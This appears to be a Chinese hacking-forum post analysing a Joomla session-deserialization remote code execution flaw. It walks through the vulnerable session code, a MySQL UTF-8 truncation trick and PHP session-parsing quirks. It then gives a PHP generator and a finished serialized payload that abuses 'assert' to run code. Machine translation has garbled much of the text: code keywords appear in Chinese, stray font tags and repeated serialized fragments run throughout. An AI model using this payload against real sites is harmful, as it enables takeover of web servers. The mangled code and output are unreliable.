HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

joomla的代码执行漏洞分析

  •   宝宝 ·2017-5-25 11:46:42·2134 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    在库/的Joomla /会话/ session.php文件中的JSession类中的_Validate()部分代码如下
    1. <font><font>保护函数_validate($ restart = false)</font></font>
    2. <font><font>{ </font></font>
    3. <font><font>        //在会话中记录代理转发,以备以后使用</font></font>
    4. <font><font>        if(isset($ _ SERVER ['HTTP_X_FORWARDED_FOR']))</font></font>
    5. <font><font>        { </font></font>
    6. <font><font>                $ this-> set('session.client。转发',$ _SERVER ['HTTP_X_FORWARDED_FOR']); </font></font>
    7. <font><font>        } </font></font>


    8. <font><font>        // .....一些其他php代码</font></font>

    9. <font><font>        //检查客户端浏览器</font></font>
    10. <font><font>        if(in_array('fix_browser',$ this  - > _ security)&& isset($ _ SERVER ['HTTP_USER_AGENT']))</font></font>
    11. <font><font>        { </font></font>
    12. <font><font>                $ browser = $ this-> get('session.client.browser'); </font></font>

    13. <font><font>                if($ browser === null)</font></font>
    14. <font><font>                { </font></font>
    15. <font><font>                        $ this-> set(' </font></font><font><font>session.client.browser',$ _SERVER ['HTTP_USER_AGENT']); </font></font>
    16. <font><font>                } </font></font>
    17. <font><font>                elseif($ _SERVER ['HTTP_USER_AGENT']!== $ browser)</font></font>
    18. <font><font>                { </font></font>
    19. <font><font>                        // @todo remove code:$ this  - > _ state ='error'; </font></font>
    20. <font><font>                        // @todo remove code:return false; </font></font>
    21. <font><font>                } </font></font>
    22. <font><font>        } </font></font>

    23. <font><font>        return true; </font></font>
    24. <font><font>} </font></font><font><font>} </font></font><font><font>} </font></font><font><font>return true; </font></font><font><font>} </font></font><font><font>} </font></font><font><font>} </font></font><font><font>return true; </font></font><font><font>} </font></font><font><font>} </font></font><font><font>} </font></font><font><font>return true; </font></font><font><font>} </font></font><font><font>} </font></font><font><font>} </font></font><font><font>return true; </font></font><font><font>} </font></font><font><font>} </font></font><font><font>} </font></font><font><font>return true; </font></font><font><font>} </font></font><font><font>} </font></font><font><font>} </font></font><font><font>return true; </font></font><font><font>} </font></font><font><font>} </font></font><font><font>} </font></font><font><font>return true; </font></font><font><font>} </font></font><font><font>} </font></font><font><font>} </font></font><font><font>return true; </font></font><font><font>}</font></font>
    复制代码
    可以看到在_Validate()方法中,会直接将X_FORWARDED_FOR 和USER_AGENT 写入到数据库中,写入之前也没有进行过滤。那么这2个参数就是我们可控的,序列化的内容就是我们可控的。
    正常访问之后:
    在数据库中的会话表中,就会存在一条记录。其中的数据字段就存有上述所序列化的内容。
    1. <font><font>__default |一个:8:{S:15:“session.counter”; </font></font><font><font>I:2; </font></font><font><font>S:19:“session.timer.start”; </font></font><font><font>我:1479436122; </font></font><font><font>S:18:“session.timer.last”我:1479436122; </font></font><font><font>S:17:“session.timer.now”; </font></font><font><font>我:1479436831; </font></font><font><font>S:22:“session.client.browser”; </font></font><font><font>s:72:“Mozilla / 5.0(Windows NT 6.1; </font></font><font><font>WOW64; </font></font><font><font>rv:50.0)Gecko / 20100101 Firefox / 50.0“; </font></font><font><font>S:8:”注册表“; </font></font><font><font>O:24:“Joomla \ Registry \ Registry”:2:{s:7:“\ 0 \ 0 \ 0data”; </font></font><font><font>O:8:“stdClass”0:{} S:9:“分隔符”; </font></font><font><font>S:1:“”;} S:4:“用户”O:5:“JUser与”:26:{S:9:“\ 0 \ 0 \ 0isRoot”; </font></font><font><font>B:0; </font></font><font><font>S:2:“ID”; </font></font><font><font>我:0; </font></font><font><font>S:4:“姓名” </font></font><font><font>N; </font></font><font><font>S:8:“用户名” </font></font><font><font>N; </font></font><font><font>S:5:“电子邮件”; </font></font><font><font>NS:8:“密码”; </font></font><font><font>N; </font></font><font><font>S:14:“password_clear”; </font></font><font><font>S:0:“”; </font></font><font><font>S:5:“块”; </font></font><font><font>N; </font></font><font><font>S:9:“sendEmail”; </font></font><font><font>我:0; </font></font><font><font>S:12:“registerDate”; </font></font><font><font>N; </font></font><font><font>S:13:“lastvisitDate”; </font></font><font><font>N; </font></font><font><font>S:10:“活化” </font></font><font><font>N; </font></font><font><font>S:6:“PARAMS”; </font></font><font><font>N; </font></font><font><font>S:6:“基团”;一个:1:{I 0,S:1:“9”;} S:5:“客人” </font><font>I:1; </font><font>S:13:“lastResetTime”; </font><font>N; </font><font>S:10:“resetCount”; </font><font>N; </font><font>S:12:“requireReset”; </font><font>N; </font></font><font><font>S:10:“\ 0 \ 0 \ 0_params”O:24:“的Joomla \注册表\注册表”:2:{S:7:“\ 0 \ 0 \ 0data”O:8:“stdClass的” 0:{} S:9:“分离器” </font></font><font><font>S:1:;}的“”:14:“\ 0 \ 0 \ 0_authGroups”;一个:2:{I:0; </font></font><font><font>I:1; </font></font><font><font>I:1; </font></font><font><font>I:9;} S:14:“\ 0 \ 0 \ 0_authLevels”;一个:3:{I:0; </font></font><font><font>I:1; </font></font><font><font>I:1; </font></font><font><font>I:1; </font></font><font><font>I:2; </font></font><font><font>I:5;} S:15:“\ 0 \ 0 \ 0_authActions”; </font></font><font><font>N; </font></font><font><font>S:12:“\ 0 \ 0 \ 0_errorMsg”; </font></font><font><font>N; </font></font><font><font>S:13:“\ 0 \ 0 \ 0userHelper”O:18:“JUserWrapperHelper”:0:{} S:10:“\ 0 \ 0 \ 0_errors”;一个:0:{} S:3:“援助” ; </font></font><font><font>I:0;} S:13:“session.token”; </font></font><font><font>S:32:“07cf4a20c397ebd2049e02ebeee43e27”;} 393:“123} __测试| </font></font><font><font>○:21:“JDatabaseDriverMysqli”:22:{S:4:“姓名”; </font></font><font><font>S:6:“的mysqli的”; </font></font><font><font>S:12:“\ 0 \ 0 \ 0nameQuote”; </font></font><font><font>S:1:“`”; </font></font><font><font>s:11:“\ 0 \ 0 \ 0nullDate”; </font></font><font><font>s:19:“0000-00-00 00:00:00”; </font></font><font><font>S:26:</font></font><font><font>一个:3:{I:0; </font></font><font><font>I:1; </font></font><font><font>I:1; </font></font><font><font>I:1; </font></font><font><font>I:2; </font></font><font><font>I:5;} S:15:“\ 0 \ 0 \ 0_authActions”; </font></font><font><font>N; </font></font><font><font>S:12:“\ 0 \ 0 \ 0_errorMsg”; </font></font><font><font>N; </font></font><font><font>S:13:“\ 0 \ 0 \ 0userHelper”O:18:“JUserWrapperHelper”:0:{} S:10:“\ 0 \ 0 \ 0_errors”;一个:0:{} S:3:“援助” ; </font></font><font><font>I:0;} S:13:“session.token”; </font></font><font><font>S:32:“07cf4a20c397ebd2049e02ebeee43e27”;} 393:“123} __测试| </font></font><font><font>○:21:“JDatabaseDriverMysqli”:22:{S:4:“姓名”; </font></font><font><font>S:6:“的mysqli的”; </font></font><font><font>S:12:“\ 0 \ 0 \ 0nameQuote”; </font></font><font><font>S:1:“`”; </font></font><font><font>s:11:“\ 0 \ 0 \ 0nullDate”; </font></font><font><font>s:19:“0000-00-00 00:00:00”; </font></font><font><font>S:26:</font></font><font><font>一个:3:{I:0; </font></font><font><font>I:1; </font></font><font><font>I:1; </font></font><font><font>I:1; </font></font><font><font>I:2; </font></font><font><font>I:5;} S:15:“\ 0 \ 0 \ 0_authActions”; </font></font><font><font>N; </font></font><font><font>S:12:“\ 0 \ 0 \ 0_errorMsg”; </font></font><font><font>N; </font></font><font><font>S:13:“\ 0 \ 0 \ 0userHelper”O:18:“JUserWrapperHelper”:0:{} S:10:“\ 0 \ 0 \ 0_errors”;一个:0:{} S:3:“援助” ; </font></font><font><font>I:0;} S:13:“session.token”; </font></font><font><font>S:32:“07cf4a20c397ebd2049e02ebeee43e27”;} 393:“123} __测试| </font></font><font><font>○:21:“JDatabaseDriverMysqli”:22:{S:4:“姓名”; </font></font><font><font>S:6:“的mysqli的”; </font></font><font><font>S:12:“\ 0 \ 0 \ 0nameQuote”; </font></font><font><font>S:1:“`”; </font></font><font><font>s:11:“\ 0 \ 0 \ 0nullDate”; </font></font><font><font>s:19:“0000-00-00 00:00:00”; </font></font><font><font>S:26:</font></font><font><font>S:1:“`”; </font></font><font><font>s:11:“\ 0 \ 0 \ 0nullDate”; </font></font><font><font>s:19:“0000-00-00 00:00:00”; </font></font><font><font>S:26:</font></font><font><font>S:1:“`”; </font></font><font><font>s:11:“\ 0 \ 0 \ 0nullDate”; </font></font><font><font>s:19:“0000-00-00 00:00:00”; </font></font><font><font>S:26:</font></font>
    复制代码
    在数据中,就可以发现“session.client.browser”; s:72:“Mozilla / 5.0(Windows NT 6.1; WOW64; rv:50.0)Gecko / 20100101 Firefox / 50.0“; ,可以看打程序最后确实是将数据直接序列化存入到了数据库中。
    POC分析
    关于整个流程的分析,可以参考phithon的文章。本篇文章主要是说明的的的PoC的编写。
    序列化字符串替换
    发现最终存在数据库的数据,都会存在\ 0 \ 0 \ 0 的字符串通过分析发现:
    在库/的Joomla /会话/存储/ database.php中中的JSessionStorageDatabase类中的读()和写()方法
    1. <font><font>public function write($ id,$ data)</font></font>
    2. <font><font>{ </font></font>
    3. <font><font>        //获取数据库连接对象并验证其连接。</font></font>
    4. <font><font>        $ db = JFactory :: getDbo(); </font></font>

    5. <font><font>        $ data = str_replace(chr(0)。'*'。chr(0),'\ 0 \ 0 \ 0',$ data); </font></font>

    6. <font><font>        // .........一些其他php代码</font></font>
    7. <font><font>} </font></font>

    8. <font><font>public function read($ id)</font></font>
    9. <font><font>{ </font></font>
    10. <font><font>        //获取数据库连接对象并验证其连接。</font></font>
    11. <font><font>        $ db = JFactory :: getDbo(); </font></font>
    12. <font><font>        尝试</font></font>
    13. <font><font>        { </font></font>
    14. <font><font>                //从</font></font>
    15. <font><font>                $结果= str_replace函数( '\ 0 \ 0 \ 0',CHR(0) '*' CHR(0),$结果); </font></font>
    16. <font><font>                返回$结果; </font></font><font><font>数据库表中获取会话数据</font></font>
    17. <font><font>        } </font></font>
    18. <font><font>        赶上(例外$ E)</font></font>
    19. <font><font>        { </font></font>
    20. <font><font>                返回假 </font></font>
    21. <font><font>        } </font></font>
    22. <font><font>}</font></font>
    复制代码
    可以看到在read()方法中会将字符串chr(0)。'*'。chr(0)变为\ 0 \ 0 \ 0 来存储,在读取的时候将\ 0 \ 0 \ 0 还原为chr(0)。'*'。chr(0)。
    数据库截断
    从上面的最终写入到数据库中的值,我们发现除了写入了X-FORWARD-FOR 状语从句:用户代理值之外,还写入了其他的值,不为了我们影响的名单最终反序列化正确的执行,我们需要将后面的字符串给截断。此时有需要利用到的MySQL的的中的UTF8的字符特性。
    当插入到mysql数据库中时,如果存在字符串e ??&#338;&#8224; (\ xF0 \ x9D \ x8C \ x86 ),整个字符串后面都会被截断,不会存入到数据库中。
    序列化字符串构造
    在利用数据库截断的方法,我们可以截断后面的字符串,但是我们还需要处理前面的字符串这个时候就需要利用到PHP中在进行序列化的时候,遇到多个。| 。的处理方式在之前的文章,就讲过这个问题如果采用的是PHP引擎,那么在进行会议的读取的时候,会以。| 。作为分隔符,得到钥匙和value.unserialize解析失败,就放弃这次解析找到下一个|,再根据这个|将字符串分割成两部分,执行同样的操作,直到解析成功
    之前使用数据库截断的方法,将字符串进行了分割,导致长度不对,第所以对一次| 解析的时候会存在问题然后进行第二次的。| 解析,第二次解析的时候就可以得到的的PoC。
    还有一个很关键的地方在于,上述的解析出错的方法是对PHP的版本有要求的。适用于一下的PHP版本
    • PHP 5.6 <5.6.13
    • PHP 5.5 <5.5.29
    • PHP 5.4 <5.4.45
    • 其余
    主要是以上的版本会存在此问题,这也就是在文章开头对PHP的版本进行限制。
    在其他的版本中,这个漏洞已经被修复了。修复方法是当解析第一个变量出错的时候,会直接销毁整个会话。整个问题是要尤为注意的。在调试此漏洞的时候,一定要选择合适的版本。
    的的的PoC编写
    编写的第一步就是构造得到序列化的字符串
    1. <font><font>class JSimplepieFactory { </font></font>
    2. <font><font>} </font></font>
    3. <font><font>class JDatabaseDriverMysql { </font></font>

    4. <font><font>} </font></font>
    5. <font><font>class SimplePie { </font></font>
    6. <font><font>    var $ sanitize; </font></font>
    7. <font><font>    var $ cache; </font></font>
    8. <font><font>    var $ cache_name_function; </font></font>
    9. <font><font>    var $ javascript </font></font>
    10. <font><font>    var $ feed_url; </font></font>
    11. <font><font>    函数__construct()</font></font>
    12. <font><font>    { </font></font>
    13. <font><font>        $ this-> feed_url =“phpinfo(); </font></font><font><font>JFactory :: getConfig(); </font></font><font><font>出口;“; </font></font>
    14. <font><font>        $ this-> javascript = 9999; </font></font>
    15. <font><font>        $ this-> cache_name_function =“assert”; </font></font>
    16. <font><font>        $ this-> sanitize = new JDatabaseDriverMysql(); </font></font>
    17. <font><font>        $ this-> cache = true; </font></font>
    18. <font><font>    } </font></font>
    19. <font><font>} </font></font>

    20. <font><font>class JDatabaseDriverMysqli { </font></font>
    21. <font><font>    protected $ a; </font></font>
    22. <font><font>    protected $ disconnectHandlers; </font></font>
    23. <font><font>    受保护的$连接; </font></font>
    24. <font><font>    function __construct()</font></font>
    25. <font><font>    { </font></font>
    26. <font><font>        $ this-> a = new JSimplepieFactory(); </font></font>
    27. <font><font>        $ x = new SimplePie(); </font></font>
    28. <font><font>        $ this-> connection = 1; </font></font>
    29. <font><font>        $ this-> disconnectHandlers = [ </font></font>
    30. <font><font>            [$ x,“init”],</font></font>
    31. <font><font>        ]; </font></font>
    32. <font><font>    } </font></font>
    33. <font><font>} </font></font>
    34. <font><font>function hexToStr($ hex){ </font></font>
    35. <font><font>    $ string =''; </font></font>
    36. <font><font>    for($ i = 0; </font></font><font><font>$ i <strlen($ hex)-1; </font></font><font><font>$ i + = 2)</font></font>
    37. <font><font>    { </font></font>
    38. <font><font>        $ hex2 = $ hex [$ i]。$ hex [$ i + 1]; </font></font>
    39. <font><font>        $ string。= chr(hexdec($ hex2)); </font></font>
    40. <font><font>        后续代码var_dump($字符串); </font></font>
    41. <font><font>    } </font></font>
    42. <font><font>    return $ string; </font></font>
    43. <font><font>} </font></font>
    44. <font><font>$ a = new JDatabaseDriverMysqli(); </font></font>
    45. <font><font>$ result = serialize($ a); </font></font>
    46. <font><font>#进行字符串的替换</font></font>
    47. <font><font>$ result = str_replace(chr(0)。'*'。chr(0),</font></font><font><font>'\ 0 \ 0 \ 0',$ result); </font></font>
    48. <font><font>#得到数据库的截断字符串</font></font>
    49. <font><font>$ mystr = hexToStr('F09D8C86'); </font></font>
    50. <font><font>#拼接所有的字符串,得到所有的PoC </font></font>
    51. <font><font>$ result =“123} __ test |”$ result。$ mystr; </font></font>
    52. <font><font>后续代码var_dump($结果); </font></font>
    53. <font><font>小号</font></font>
    复制代码
    最后得到的的的的PoC就是
    1. <font><font>123} __测试| </font></font><font><font>O:21:“JDatabaseDriverMysqli”:3:{S:4:“\ 0 \ 0 \ 0A”,O:17:“JSimplepieFactory”:0:{} S:21:“\ 0 \ 0 \ 0disconnectHandlers” :{I:0;一个:2:{I 0,O:9:“了SimplePie”:5:{S:8:“sanitize方法”O:20:“JDatabaseDriverMysql”0:{} S:5:高速缓存“ </font></font><font><font>B:1; </font></font><font><font>S:19:“cache_name_function”; </font></font><font><font>S:6:“断言” </font></font><font><font>S:10:“的javascript”; </font></font><font><font>I:9999; </font></font><font><font>S:8:“FEED_URL”; </font></font><font><font>S:37:“的phpinfo()函数; </font></font><font><font>JFactory :: getConfig();出口;“;} I:1; </font></font><font><font>S:4:“初始化”;}} S:13:“\ 0 \ 0 \ 0连接”; </font></font><font><font>I:1;}ê??&#338;&#8224;</font></font>
    复制代码


    2134 次点击 · 1 人收藏  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   228 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-7-23 06:07, Processed in 0.046621 second(s), 18 queries .